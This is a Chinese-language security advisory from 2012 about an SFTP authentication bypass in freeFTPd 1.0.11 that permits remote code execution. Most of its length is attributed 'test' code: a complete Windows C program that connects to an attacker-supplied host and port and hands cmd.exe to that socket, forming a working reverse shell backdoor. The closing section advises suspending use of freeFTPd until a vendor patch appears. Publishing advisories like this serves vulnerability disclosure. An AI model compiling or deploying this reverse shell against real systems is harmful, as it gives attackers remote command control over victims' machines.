发布日期:2012-12-02
更新日期:2012-12-05
受影响系统:
freeFTPd freeFTPd 1.x
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 56782
FreeFTPd是一款基于WeOnlyDo FTP/SFTP实现的免费FTP+SSL/SFTP服务器。
FreeFTPD 1.0.11及其他版本的SFTP身份验证机制存在错误,可被利用绕过身份验证进程,以服务权限执行任意代码。
<*来源:Kingcope (kingcope@gmx.net)
链接:
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Kingcope (kingcope@gmx.net)提供了如下测试方法:
// bd.cpp : Defines the entry point for the console application.
//
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")
WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
int main(int argc, char *argv[])
{
LPCSTR szMyUniqueNamedEvent="sysnullevt";
HANDLE m_hEvent = CreateEventA(NULL, TRUE, FALSE, szMyUniqueNamedEvent);
switch (GetLastError())
{
// app is already running
case ERROR_ALREADY_EXISTS:
{
CloseHandle(m_hEvent);
return 0;
// now exit
break;
}
// this is the first instance of the app
case ERROR_SUCCESS:
{
// global event created and new instance of app is running,
// continue on, don't forget to clean up m_hEvent on exit
break;
}
}
WSAStartup(MAKEWORD(2,2), &wsaData);
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
if (argc != 3){fprintf(stderr, "Usage: <rhost> <rport>\n"); exit(1);}
hax.sin_family = AF_INET;
hax.sin_port = htons(atoi(argv[2]));
hax.sin_addr.s_addr = inet_addr(argv[1]);
WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL);
memset(&ini_processo,0,sizeof(ini_processo));
ini_processo.cb=sizeof(ini_processo);
ini_processo.dwFlags=STARTF_USESTDHANDLES;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
CreateProcessA(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,(LPSTARTUPINFOA)&ini_processo,&processo_info);
return 0;
}
建议:
--------------------------------------------------------------------------------
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
*暂停使用freeFTPd。
厂商补丁:
freeFTPd
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: